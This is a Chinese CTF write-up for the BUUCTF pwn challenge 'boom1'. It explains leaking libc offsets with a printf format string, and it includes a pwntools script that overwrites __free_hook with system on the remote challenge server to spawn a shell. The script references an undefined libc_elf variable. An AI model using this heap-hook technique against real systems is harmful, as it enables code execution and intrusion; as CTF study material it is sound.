[BUUCTF-pwn] wdb_2020_1st_boom1
网鼎杯 2020 boom1
学习了 BOI Team 的wp,感觉没弄太明白,主要是远程的偏移计算方法。自己消化一下,想出一个自我感觉比较方便的方法。
这是一个虚拟机的题,用给定的一些关键字写个c程序,然后运行得到shell
师傅的方法:
由于都是通过mmap生成的堆,所以跟libc是连续,计算出程序当前变量位置与free_hook和system的偏移 *(free_hook) = system然后free(/bin/sh)就OK了
但问题是本地的偏移通过Gdb得到很容易,buu远程上的libc是一个很难找到的libc(libc可以下载,但对应的ld找不到,也许能找到但比赛的时候给出来也得当找不到的作)
所以我在这用了一次printf("0x%lx %21$p",&a); 这样一次打印出libc_main_ret和a的地址,便可计算出偏移,堆与libc邻不邻无所谓。
from pwn import *'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.27-3u1/lib64/ld-2.27.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so pwn
'''elf = ELF('./pwn')
context.arch = 'amd64'local = 0
if local == 1:p = process('./pwn')
else:p = remote('node4.buuoj.cn', 26829) context.log_level = 'debug'
'''
libc : 0x00007ffff7a1e000
__free_hook : 0x7f626872b8e8 <__free_hook> &a - 0x1616f0
system : 0x7f62683b7580 <system> &a - 0x4d5a58
&a : 0x6888cfd8
'''
#gdb.attach(p)
#pause()
#base = 0x517fd8 #local
base = 0x54dfd8 #remote
off1 = (base - libc_elf.sym['__free_hook'])//8
off2 = (base - libc_elf.sym['system'])//8
print('_free_hook,system',off1, off2)
#通过这个长的printf找到libc_start_main_ret 为21
#payload = 'main(){int a; printf("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p");}\n'
'''
b'(nil)-(nil)-(nil)-(nil)-(nil)-0x7ffe3ddb0750-(nil)-0x1-0x1-0x7f2762bf2048
-0x7f2762baffd0-0x7f2762baffe0-0x7f2762bb1010-0x4-0x25-0x40000-0x7f2762c335b0-0x7f2762baffd8-0x6bb73c06bded3e00-0x55c67dfa5e30
-0x7f27626b9a87 <------ __libc_start_main_ret+231
'''
#payload = 'main(){int a; printf("0x%lx %21$p",&a);}'
payload = 'main(){int a; *(&a-'+str(off1)+')=&a-'+str(off2)+';free("/bin/sh");}\n' #local
p.sendafter(b"I'm living...\n", payload.encode())
p.interactive()
[BUUCTF-pwn] wdb_2020_1st_boom1相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- Ext.Net学习笔记18:Ext.Net 可编辑的GridPanel
- linux源码阅读笔记 fork函数
- c# 控制IE浏览器
- 使用正确的垃圾收集器将Java内存使用量降至最低
- python安装caffe_Linux下caffe的安装
- js如何监听元素事件是否被移除_javascript:什么是js事件?(上)
- 微信语音怎么转发给好友
- 刷网课-踩坑——jsDOM获取不到页面元素节点-iframe标签获取元素节点
- NAT环境FTP服务器的映射及访问过程详解
- pythonsorted函数cmp_python3中sorted函数里cmp参数改变详解
- 强制退出hdfs安全模式
- php redis地址和端口号,redis默认端口是什么
- edm邮件直投_EDM邮件直投专家 :直接投递Email到收件人邮箱 Version 4.0.9 Build 503
- Scala——面向对象和函数式编程语言
- Excel常用技巧—数字和文本转换,三种方法任你选!!
- 华为路由器 上网慢 延迟高 解决方法
- INE上线BiKi,开启“充值领空投+最少买入,也拿万元锦鲤”活动
- manjar强制关闭应用
- 科技圈最具权势25大女工程师
- 互盾科技:日日行,不怕千万里;常常做,不怕千万事
热门文章
- CVPR2020 步态论文:Gait Recognition via Semi-supervised Disentangled Representation Learning to Identit
- Cesium:入门教程(五)之 3D Tiles
- 一个文本框可能存在哪些漏洞
- Android向服务器传递参数方式:PostGet
- 一篇文章读懂什么是CAP(基础入门)
- CF1492A - Three swimmers
- Docker安装emqx详解(配置SSL证书、开启WSS、鉴权)
- iOS textField属性详解
- java如何统计文章阅读量_博客中的阅读量是如何设计的?
- 计算机中word的快捷键大全,Word中全选的快捷键是什么 word快捷键大全【图解】...